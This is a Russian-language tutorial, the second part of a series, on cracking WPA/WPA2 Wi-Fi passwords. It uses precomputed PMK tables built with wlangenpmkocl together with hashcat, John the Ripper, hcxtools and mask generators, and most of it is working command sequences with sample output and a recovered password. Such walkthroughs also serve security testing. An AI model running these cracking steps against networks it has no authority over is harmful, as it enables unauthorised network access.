Как использовать радужные таблицы для взлома паролей Wi-Fi в Hashcat и John the Ripper. Часть 2
Life-Hack [Жизнь-Взлом]/ХакингМы использовали программу wlangenpmkocl с опцией -a, что означает вывод plainmasterkeys в файл. У программы есть также опция -A, которая позволяет генерировать файл со строками вида plainmasterkey:ПАРОЛЬ. Создадим такой файл:
wlangenpmkocl -e RT-WiFi_96 -i rockyou_cleaned.txt -P 1 -D 0 -A pmk.txt
«Небольшой» минус этого формата в том, что с таким файлом не может работать hashcat. Поэтому мы будем использовать такую конструкцию (считывается ФАЙЛ-PMK, из него берётся только PMK без пароля и отправляется по стандартному вводу в hashcat в качестве кандидата) :
cat ФАЙЛ-PMK | cut -d ':' -f 1 | hashcat -m 2501 ХЕШ
У меня файл с plainmasterkeys формата plainmasterkey:ПАРОЛЬ имеет имя pmk.txt, хеш, извлечённый из хендшейка, помещён в файл RT-WiFi_96.hash, тогда команда следующая:
cat pmk.txt | cut -d ':' -f 1 | hashcat -m 2501 RT-WiFi_96.hash
Опять всё взломано за 0 секунд.
И опять вместо пароля нам дан хеш:
24d3f2ab17f5:dcf505807dcd:RT-WiFi_96:f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0
В чём тогда разница? А разница в нашем файле pmk.txt, в котором каждому хешу соответствует его пароль!
То есть теперь мы выполним команду вида:
cat ФАЙЛ-PMK | grep 'ПОДОБРАННЫЙ-PMK'
В ней:
- ФАЙЛ-PMK — это файл с plainmasterkeys, у меня этот файл называется pmk.txt
- ПОДОБРАННЫЙ-PMK — это тот самый plainmasterkey, который мы взломали с помощью hashcat и который находится за названием ТД после двоеточия, в моём случае это f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0
Тогда команда следующая:
cat pmk.txt | grep 'f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0'
Вывод:
f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0:22011995
То есть найден хеш и соответствующий ему пароль (22011995), который идёт после двоеточия.
Как в John the Ripper использовать радужные таблицы для взлома Wi-Fi
В John the Ripper всё очень похоже, рассмотрим два варианта — последовательный взлом PMK и хеша и взлом только одного PMK.
1-й вариант
Создаём радужную таблицу командой вида:
wlangenpmkocl -e ИМЯ-ТД -i СЛОВАРЬ ОПЦИИ-УСТРОЙСТВА -a ФАЙЛ-ВЫВОДА-PMK
Например:
wlangenpmkocl -e RT-WiFi_96 -i rockyou_cleaned.txt -P 1 -D 0 -a pmk.txt
Предыдущая команда по вычислению PMK одинаковая с той, которую мы использовали для Hashcat. Но для конвертации рукопожатия в хеш для John the Ripper команда отличается. Причём программа wpapcap2john (которая конвертирует рукопожатия для взлома по маске или по словарю) не подойдёт для взлома по радужным таблицам.
Нам нужно использовать программу hcxpcapngtool из пакета hcxtools.
Установка в Kali Linux
sudo apt install hcxtools
Установка в BlackArch
sudo pacman -S hcxtools
Для конвертации рукопожатия в хеш для взлома по радужным таблицам в John используйте команду вида:
hcxpcapngtool --john=ХЕШ.john РУКОПОЖАТИЕ.pcap
Пример:
hcxpcapngtool --john=RT-WiFi_96.john RT-WiFi_96.pcap
Теперь, когда вычислена радужная таблица и сгенерирован хеш рукопожатия, в john запустим по ней проверку хеша рукопожатия. В качестве словаря нам нужно указать файл с вычисленными PMK, общий вид команды:
john --format=wpapsk-pmk --wordlist='ФАЙЛ-PMK' ФАЙЛ-ХЕШЕЙ
Будет выбран формат хеша wpapsk-pmk. Существует также формат хеша wpapsk-pmk-opencl, который отличается тем, что используются вычисления на видеокарте. На самом деле, OpenCL форматы запускаются значительно дольше (несколько секунд), а вычисление даже на wpapsk-pmk выполняется за доли секунды. Поэтому особого смысла указывать опцию --format=wpapsk-pmk-opencl нет. Но просто помните о такой возможности на случай очень больших радужных таблиц.
Итак, мои plainmasterkeys сохранены в файл pmk.txt, а хеш рукопожатия сохранён в файл RT-WiFi_96.john, тогда команда для поиска по радужной таблице следующая:
john --format=wpapsk-pmk --wordlist='pmk.txt' RT-WiF
Совпадение найдено, об этом говорит строка:
1f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0 (RT-WiFi_96)
Если вы что-то пропустили, то взломанный пароль/хеш можно посмотреть командой вида:
john --format=wpapsk-pmk ХЕШ-ФАЙЛ --show
В моём случае это:
john --format=wpapsk-pmk RT-WiFi_96.john --show
Теперь нужно запустить команду вида:
wlanpmk2hcx -e ИМЯ-ТД -p НАЙДЕННЫЙ-PMK
В моём случае это команда:
wlanpmk2hcx -e RT-WiFi_96 -p f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0
Результат:
Применительно к john, нам дано имя алгоритма: pbkdf2-hmac-sha1 для взлома, а также хеш:
$pbkdf2-hmac-sha1$4096$52542d576946695f3936$f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0
Предыдущая команда и её вывод нам уже знакомы по разделу с Hashcat. В справке сказано, что можно добавить к ней опцию -j, которая означает, сохранить вывод для john в файл:
wlanpmk2hcx -e RT-WiFi_96 -p f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0 -j forjohn.hash
Но у меня это не сработало — поэтому просто сохраним приведённый выше хеш в файл forjohn.hash.
Теперь нужно запустить команду вида:
john --format=PBKDF2-HMAC-SHA1-opencl --wordlist='СЛОВАРЬ' ХЕШ-ФАЙЛ
Вместо формата PBKDF2-HMAC-SHA1-opencl (взлом на видеокарте) можно указать PBKDF2-HMAC-SHA1 (взлом на центральном процессоре).
У меня словарь имеет имя rockyou_cleaned.txt, а хеш помещён в файл forjohn.hash, поэтому команда следующая:
john --format=PBKDF2-HMAC-SHA1-opencl --wordlist='rockyou_cleaned.txt' forjohn.hash
Наконец-то взломан пароль от ТД, это: 22011995
2-й вариант (пропуск брут-форса plainmasterkey)
Запускаем wlangenpmkocl с опцией -A:
wlangenpmkocl -e RT-WiFi_96 -i rockyou_cleaned.txt -P 1 -D 0 -A pmk.txt
Теперь нужно запустить команду вида:
cat ФАЙЛ-PMK | cut -d ':' -f 1 | john --format=wpapsk-pmk --stdin ХЕШ
Например:
cat pmk.txt | cut -d ':' -f 1 | john --format=wpapsk-pmk --stdin RT-WiFi_96.john
Обратите внимание, что опция --wordlist заменена на опцию --stdin, которая означает считывать кандидаты в пароли из стандартного ввода.
Хеш вновь взломан:
f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0 (RT-WiFi_96)
В нашем файле pmk.txt каждому хешу соответствует его пароль — это благодаря опции -A, которую мы использовали с программой wlangenpmkocl.
То есть теперь мы выполним команду вида:
cat ФАЙЛ-PMK | grep 'ПОДОБРАННЫЙ-PMK'
В ней:
- ФАЙЛ-PMK — это файл с plainmasterkeys, у меня этот файл называется pmk.txt
- ПОДОБРАННЫЙ-PMK — это тот самый plainmasterkey, который мы взломали с помощью hashcat и который находится перед названием ТД, помещённой в круглые скобки, в моём случае это f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0
Тогда команда следующая:
cat pmk.txt | grep 'f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0'
Вывод:
1f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0:22011995
Найден хеш и соответствующий ему пароль (22011995), который идёт после двоеточия.
Как по маскам создавать радужные таблицы для взлома Wi-Fi
Программа wlangenpmkocl вместо опции -i СЛОВАРЬ может получать список кандидатов в пароли из стандартного ввода. То есть следующая команда
wlangenpmkocl -e ИМЯ-ТД -i СЛОВАРЬ ОПЦИИ-УСТРОЙСТВА -A ФАЙЛ-ВЫВОДА-PMK
полностью эквивалентна этой
cat СЛОВАРЬ | wlangenpmkocl -e ИМЯ-ТД ОПЦИИ-УСТРОЙСТВА -A ФАЙЛ-ВЫВОДА-PMK
ВНИМАНИЕ: помните о разнице опций -A и -a и выберите ту из них, которая вам подходит.
По этой причине можно генерировать кандидаты паролей в программах, поддерживающих маски и передавать их на вход wlangenpmkocl.
Для вывода кандидатов в пароли с помощью Hashcat используйте опцию --stdout в команде вида:
hashcat -a 3 --stdout 'МАСКА' | wlangenpmkocl -e ИМЯ-ТД ОПЦИИ-УСТРОЙСТВА -A ФАЙЛ-ВЫВОДА-PMK
Пример:
hashcat -a 3 --stdout '?d?d?d?d?d?d?d?d' | wlangenpmkocl -e HackWare-AP -P 1 -D 0 -A hackware.pmk
В этой команде hashcat генерирует пароли по маске ?d?d?d?d?d?d?d?d (пароли из восьми цифр) и из них рассчитываются PMK.
В качестве альтернативы Hashcat можно использовать Maskprocessor в команде вида:
maskprocessor 'МАСКА' | wlangenpmkocl -e ИМЯ-ТД ОПЦИИ-УСТРОЙСТВА -A ФАЙЛ-ВЫВОДА-PMK
Пример:
maskprocessor '?d?d?d?d?d?d?d?d' | wlangenpmkocl -e HackWare-AP -P 1 -D 0 -A hackware.pmk
В John the Ripper помощью опции --stdout вы можете вместо запуска взлома показать создаваемые кандидаты в пароли.
Команда, аналогичная предыдущим:
john --stdout --mask='?d' --min-length=8 --max-length=8 | wlangenpmkocl -e HackWare-AP -P 1 -D 0 -A hackware.pmk
Будущее
ZerBea — автор большинства утилит, которые мы использовали в этой инструкции, — планирует написать ещё одну утилиту, которая будет вычислять potfile для hashcat -m 22000. Благодаря этому можно использовать опцию hashcat --show на предварительно вычисленных результатах. Это будет ещё один вариант радужной таблицы. Но в настоящее время у него в приоритетах EAP, SAE (WPA3).